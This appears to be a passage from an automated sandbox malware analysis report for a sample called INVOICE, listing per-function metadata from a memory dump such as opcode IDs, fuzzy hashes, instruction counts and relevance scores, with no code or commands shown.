Opcode Fuzzy Hash: 7ff5e803eaf909c7d6465aaa9d7d2a5319146e44fd303f73213b72e1a08222fa
Instruction Fuzzy Hash: 81E1CE43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50657 Relevance: .6, Instructions: 588COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8826117d97c572318231f745b88fc87e7c96e4987577667db054c486d6396ec5
Instruction ID: 12fecf480c9fd54dde36ab3a13458fc2ec1aef4535bf91859e7655add455980e
Opcode Fuzzy Hash: 8826117d97c572318231f745b88fc87e7c96e4987577667db054c486d6396ec5
Instruction Fuzzy Hash: BAE1CC43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50504 Relevance: .6, Instructions: 588COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4b75f6360e852d3811dd682501d98e3c7010847794f68211a197c2709f994c7
Instruction ID: 9543352a03c3ad53f772c9e5128ddd2d34757c418928c013b86d4916975d02a1
Opcode Fuzzy Hash: b4b75f6360e852d3811dd682501d98e3c7010847794f68211a197c2709f994c7
Instruction Fuzzy Hash: 11E1BD43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B507A8 Relevance: .6, Instructions: 565COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8be0f791c74cb9ac0a586805f9351fd4865f16d731080ad482399ba6866654e
Instruction ID: df242035ecc078ee45ecd84110caf5cad9d5fe6acd28e1e91368847a43027012
Opcode Fuzzy Hash: a8be0f791c74cb9ac0a586805f9351fd4865f16d731080ad482399ba6866654e
Instruction Fuzzy Hash: 26D1ED43E3F735DAE783307485513A65680CF2B6C5D21CFDB9C26BA5A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B507FA Relevance: .6, Instructions: 560COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1624d988b92ce8bf37672eff6e0245a6c1b694a2942cf3bd18909b6f1f89ab33
Instruction ID: ead71f99b527a29408cb3f90589c229aa29457af1a1b031efeef40129e105ae4
Opcode Fuzzy Hash: 1624d988b92ce8bf37672eff6e0245a6c1b694a2942cf3bd18909b6f1f89ab33
Instruction Fuzzy Hash: 90D1DB43E3F735DAE783307485517A65680CF2B6C5D21CF9B9C26BA5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B506CE Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f588d906947f9f2ab9472c8b7db49a7a04430d45798ae019e9c51acde58900
Instruction ID: 397925562e3613d5a1b3aa4c3b5a75912a37dd94ed531428723a9f3a5975750f
Opcode Fuzzy Hash: 35f588d906947f9f2ab9472c8b7db49a7a04430d45798ae019e9c51acde58900
Instruction Fuzzy Hash: 20E1EC43E3F735DAE783307485517A65680CF2B6C5D21CF9B9C26BA5A2771F0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5088B Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e69822c5124f07519ccffc43a77ad126d8f78409741aa1ce41d7452315e8b714
Instruction ID: edcc44c7c06e5e9b4d5edd1c133049734c6700e989df7ff83b3880c3956c7ce3
Opcode Fuzzy Hash: e69822c5124f07519ccffc43a77ad126d8f78409741aa1ce41d7452315e8b714
Instruction Fuzzy Hash: E5D1EB43E3F735DAE783307485513E65680CF2B6C5D61CF9B9C26BA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5076C Relevance: .5, Instructions: 544COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae8f382f0b453a831ea87381535588181453bde4949a91c023c3cc5ab32c920
Instruction ID: 797006cd825a45645d9d73c368df7377adbef10a1366eee750a0798eb640a2ed
Opcode Fuzzy Hash: 2ae8f382f0b453a831ea87381535588181453bde4949a91c023c3cc5ab32c920
Instruction Fuzzy Hash: DAD1EB43E3F735DAE783307485513A65680CF2B6C5D21CFDB9C26BA5A2371B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B508E2 Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9390b5b0e9197b711b368c7e77da173203810404804f0cab2104bdd8cd61832
Instruction ID: 46e308204c918cde373f130b54b394c48fbc7d8b3945e74759e39d9a106b724a
Opcode Fuzzy Hash: f9390b5b0e9197b711b368c7e77da173203810404804f0cab2104bdd8cd61832
Instruction Fuzzy Hash: 2AD1CB43E3B735DAE783307485513E65680CF2B6C5D61CFDB9C26BA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50845 Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1bdbd493d686eeaa33790a349989a540f936c808f8e224954f4b3ec7e031c6
Instruction ID: 074b63b2b800d228a434dc53061b6d2e779968604ac8c6a2c00a640ea31b2cfb
Opcode Fuzzy Hash: cd1bdbd493d686eeaa33790a349989a540f936c808f8e224954f4b3ec7e031c6
Instruction Fuzzy Hash: 81D1DB43E3F735DAE783307485513E65680CF2B6C5D21CF9B9C26BA5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5096E Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1d1e2f7f2b8984e63b2d0260f2a1413c5854963c004f29760417670d24d1bf
Instruction ID: 7eb1c1f555c599f01a6f04d0f9e38e057e50d53b9a98d613ca4178b3494b5a49
Opcode Fuzzy Hash: 7a1d1e2f7f2b8984e63b2d0260f2a1413c5854963c004f29760417670d24d1bf
Instruction Fuzzy Hash: D7C1DD43E3F735DAE783307485513A65680CF2B6C5D61CF9B9C26BA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B507F2 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6122792185cf4d217d75b9171eeed0ec24a979122dee92230d64edf3e5afe1a2
Instruction ID: 4230682b116f1294d88ae5ec6ac23e8c4d6a634c1983a238e3758dbf5f20b093
Opcode Fuzzy Hash: 6122792185cf4d217d75b9171eeed0ec24a979122dee92230d64edf3e5afe1a2
Instruction Fuzzy Hash: EFD1DC43E3F735DAE783307485517A65680CF2B6C5D21CFDB9C26BA5A2371B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B509EF Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4848e087213069c31db2d837e09159b436df45de13fadd51eec34f7c6f36a291
Instruction ID: d2178ec4b582c69539eb44ad407a86fb4204d8d401e21bfc94946d57f82a1cc6
Opcode Fuzzy Hash: 4848e087213069c31db2d837e09159b436df45de13fadd51eec34f7c6f36a291
Instruction Fuzzy Hash: 3EC1CC43E3F736DAE383307485513A65680CF2B6C5D51CF9A9C267A5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50926 Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53cb6724aa43386a98eb0fa7e214d93a110778b60ba4563ecae28d962ffa7a74
Instruction ID: 3d1de560cd85ef180719e96d698a7de6e2967a195589d2785d519bd8399dbd94
Opcode Fuzzy Hash: 53cb6724aa43386a98eb0fa7e214d93a110778b60ba4563ecae28d962ffa7a74
Instruction Fuzzy Hash: 94C1DB43E3F735DAE383307485513E65680CF2B6C5961CFDB8C26BA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B509BE Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e616ea9ee9f3f59ec80c91924600f75a92e0fccc64c29a8ba8a914d4f01df2
Instruction ID: 4991d352773d1db9778a876d5888334ff607e764a4a00a04500ab175cd1b39f9
Opcode Fuzzy Hash: 90e616ea9ee9f3f59ec80c91924600f75a92e0fccc64c29a8ba8a914d4f01df2
Instruction Fuzzy Hash: 3CC1DC43E3B735DAE783307485513A65680CF2B6C5D11CF9B9C26BA9A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50928 Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d408728d16c7bfece3dc454510f79692fd37d9064237028cbe1be18f8687d2
Instruction ID: e2fc265919f13977cef43e59a63faec04818e0a1049c70819b74f9f60487d3a3
Opcode Fuzzy Hash: 13d408728d16c7bfece3dc454510f79692fd37d9064237028cbe1be18f8687d2
Instruction Fuzzy Hash: 45C1DC43E3F735DAE383307485513E65680CF2B6C5961CFDB9C26BA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50AE5 Relevance: .5, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb892550f692e95d7761846a8e4384d35082b4d8613d472e8eac4b96ce699670
Instruction ID: 199a53b42a7232233768b4d3ccc612ac831170e03537a4eb1afeb82396754c61
Opcode Fuzzy Hash: eb892550f692e95d7761846a8e4384d35082b4d8613d472e8eac4b96ce699670
Instruction Fuzzy Hash: 4FB1DE43E3F7359AE783307485513F65680CF2B6C5D21CBDB8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B51976 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1856525af24fbf9559f6dc1468242c1bdbd6f9c53cbb5aad93e625b274d99437
Instruction ID: 662cdbf94253bba1b177e6f295dcd1749a35794b66313fe85da5bd0613a263b8
Opcode Fuzzy Hash: 1856525af24fbf9559f6dc1468242c1bdbd6f9c53cbb5aad93e625b274d99437
Instruction Fuzzy Hash: 2AB1BB52E3F335DAE7933074C6517E55681CF271C2E248BEB8D6BBA4A1770F098A8494

Uniqueness

Uniqueness Score: -1.00%

Function 02B50A2F Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81548b362632bcb0cfe22ae2f8c2bafe28672f7d05dfb0cfd111ed6f57903a1a
Instruction ID: 138976962392d1d740d54bbcf0963070a79e1e94517baf56a380a6f8af31ae81
Opcode Fuzzy Hash: 81548b362632bcb0cfe22ae2f8c2bafe28672f7d05dfb0cfd111ed6f57903a1a
Instruction Fuzzy Hash: 5CC1DC43E3B735DBE783307485513E65680CF2B6C5D61CBDB9C267A9A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B61 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653fcdebc94fed0fdd258658a21a4d8e337c335e0fb2badc718d2dd1d9787136
Instruction ID: ba61850f7430acd0b96d7a026112f6809927b9af54a81240bc56686be977a82f
Opcode Fuzzy Hash: 653fcdebc94fed0fdd258658a21a4d8e337c335e0fb2badc718d2dd1d9787136
Instruction Fuzzy Hash: CCB1CF43E3F7359AE783307485513F65680CF2B6C5D51CBDB8C267A9A1771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B45 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7540486b9ffbeaedd8f1ea4bdff3ccc77decf7766a45ee637703709bb3c7d2dd
Instruction ID: 4c723961f26e77c7f0adccd1564649e6de36dfee8a1a4dd3ac99947c8459ee32
Opcode Fuzzy Hash: 7540486b9ffbeaedd8f1ea4bdff3ccc77decf7766a45ee637703709bb3c7d2dd
Instruction Fuzzy Hash: 38B1DE43E3F7359AE783307485513F65680CF2B6C5D21CF9A8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B518F3 Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b28fc4b6a0a1dda52b7aefa2946b1fa5b46d2aecc92419c571ffc4777ec70223
Instruction ID: 6bd0cf8d94697f30d2fc822107239e3c500405a289a7ad2b8ed3dc10f396f2ae
Opcode Fuzzy Hash: b28fc4b6a0a1dda52b7aefa2946b1fa5b46d2aecc92419c571ffc4777ec70223
Instruction Fuzzy Hash: DCB1BB42E3F325DAE7833074C6517E55681CF271C2E248BEB8D3BBA4A5770F0A8A8494

Uniqueness

Uniqueness Score: -1.00%

Function 02B50A6D Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331b208f908cd3891f370b382a728e0f86c9cff8d30a31f18b27b4e0f10ae77
Instruction ID: 6d64724aaa97fbe16c0de22d776afb52d405dc63c40cb93d76c35bc09ce6928c
Opcode Fuzzy Hash: 1331b208f908cd3891f370b382a728e0f86c9cff8d30a31f18b27b4e0f10ae77
Instruction Fuzzy Hash: F3C1E043E3F736DBD783307485513E66680CF2B6C5D15CB9B9C26BA5A2771B0A8E88D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B50BEC Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c94c0efd6fccd5c06f7c650d9225890c3659adfb7082092f2fd3874a22bb5b4e
Instruction ID: 786c2b7db7aaae6ad401ff9e474b5538b28770c312268aa36c9edd369cb9d27e
Opcode Fuzzy Hash: c94c0efd6fccd5c06f7c650d9225890c3659adfb7082092f2fd3874a22bb5b4e
Instruction Fuzzy Hash: D3A1ED43E3F7369BE783307485503F65680CF2B6C5D65CB9A8C267A5A2371B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B518E3 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9cd7a46144a4d7defc2fea880edf1ce4bff05946b66ca50c5ef33e042de9a02
Instruction ID: ef51a49b37840ed0d8f7afb9431d8857fe9c633ac2716cb4643aa99500787aaa
Opcode Fuzzy Hash: d9cd7a46144a4d7defc2fea880edf1ce4bff05946b66ca50c5ef33e042de9a02
Instruction Fuzzy Hash: 33B1AB42E3F325DAE7933074C6517E55681CF271C2E248BEB4D7BBA4A5770F098E8498

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B64 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3ca018d3a5681eacda0eadb12fb4ef17c939c62d437156b14d45c7c58e3348a
Instruction ID: 7c920829738dbdc8e1374f9856d12e2a798343b2acd0436c6b8d6748559d4ce3
Opcode Fuzzy Hash: b3ca018d3a5681eacda0eadb12fb4ef17c939c62d437156b14d45c7c58e3348a
Instruction Fuzzy Hash: F3B1CB43E3F7369AE783307485513F65680CF2B6C5D15CFDA8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B67 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f7b712de3a5e10521050246f6f423c9762dcb3cb869dd99427d367821c5bf4
Instruction ID: 6c7660063a82db680c57aed76db78888f9b26fa911d35d200bfd59773d495ddf
Opcode Fuzzy Hash: 18f7b712de3a5e10521050246f6f423c9762dcb3cb869dd99427d367821c5bf4
Instruction Fuzzy Hash: 80B1CD43E3F7359AE783307485513F65680CF2B6C5D25CB9B8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B55 Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe1b5c03f53f27d205b0771af9c492df8eb765775412a16f559435e6506e4759
Instruction ID: 49a72c0f0a40665032381679b018767bdd0fdde6598cdc5eaba1937f7032d046
Opcode Fuzzy Hash: fe1b5c03f53f27d205b0771af9c492df8eb765775412a16f559435e6506e4759
Instruction Fuzzy Hash: DBB1DD43E3F735DAE783307485513F65680CF2B6C5D21CB9B8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B51A8E Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f21ad6567a451dd53677dd89d8942985b46a33e4bb9419638330ccfe9eff34
Instruction ID: ac6eafd808585765a75eed798cc589da985ed5a87af62ea2ac3563145a49bc0f
Opcode Fuzzy Hash: 11f21ad6567a451dd53677dd89d8942985b46a33e4bb9419638330ccfe9eff34
Instruction Fuzzy Hash: A1A1CD43E3F325DAE7933074C6617F55681CF271C6E248BEB4D2BBA4A2770F098A8484

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B57 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d00e059f907f5602c702b51c3c4ec714b1af5d541a455867c1eabc6238dbc23
Instruction ID: 6cec822682b38611a49122bcb34fad7cf4510003c5a4b9c92f6eea924093432e
Opcode Fuzzy Hash: 3d00e059f907f5602c702b51c3c4ec714b1af5d541a455867c1eabc6238dbc23
Instruction Fuzzy Hash: 3EB1DD43E3F735DAE783307485513F65680CF2B6C5D25CB9B8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B43 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69675f5f9b444951dcef12bf8bc2c5ffedf67d016e30b96967b0e5e6eadf8572
Instruction ID: ff33f4e1035455cbbe3168a659aa691bc382a88910798e03abb32a5b6508c876
Opcode Fuzzy Hash: 69675f5f9b444951dcef12bf8bc2c5ffedf67d016e30b96967b0e5e6eadf8572
Instruction Fuzzy Hash: 27B1DE43E3F735DAE783307485513F65680CF2B6C5D21CB9B8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B59 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 350566b6b261aa728564c47a5ef116050849d26acc5be149a1333e267ec4d100
Instruction ID: f16efa9a360ce354eb5448a219677569362f641422a6878ced9f667fa72424bd
Opcode Fuzzy Hash: 350566b6b261aa728564c47a5ef116050849d26acc5be149a1333e267ec4d100
Instruction Fuzzy Hash: 29B1CD43E3F7359AE783307485513F65680CF2B6C5D21CB9B8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B47 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8331b35327a257862a8a07453141aa119d07e51a2cf0e55b2c5654a21a2196b
Instruction ID: c563a189fcdc2930d846ff1d3510e9978715e3ad1bf135e626742dc279ee83bd
Opcode Fuzzy Hash: f8331b35327a257862a8a07453141aa119d07e51a2cf0e55b2c5654a21a2196b
Instruction Fuzzy Hash: 04B1DD43E3F7369AE783307485513F65680CF2B6C5D51CB9A8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B51B4F Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f36817a7fd159bdcbec07ec1d3ec8676aabcb09ab24ba69a59312f8043ae955
Instruction ID: 04a77f8b2be6eeb1eba7475b6c308d00ba9d7304a19bef52de671ddc47f568e2
Opcode Fuzzy Hash: 7f36817a7fd159bdcbec07ec1d3ec8676aabcb09ab24ba69a59312f8043ae955
Instruction Fuzzy Hash: B9A1DB43D2F335DAE7937074C6617F55681CF175C2E248BEA4D2BBA4A2770F098E8488

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B5D Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2393ffeb216b62f9fb8c04f2e6ba8e32ee0f773771f17aa2d9545acee8b35f2
Instruction ID: d868d4c35d5358356e983f1e3362f846d8ff07e09bad6ab862cdcd852f90d71c
Opcode Fuzzy Hash: f2393ffeb216b62f9fb8c04f2e6ba8e32ee0f773771f17aa2d9545acee8b35f2
Instruction Fuzzy Hash: 7EB1CC43E3F7369BE783307485513F65680CF2B6C5D51CB9A8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B5B Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca921d547981d1b221b43c97af7b7fce72d6f0963edc7b1f6eafcc669972480d
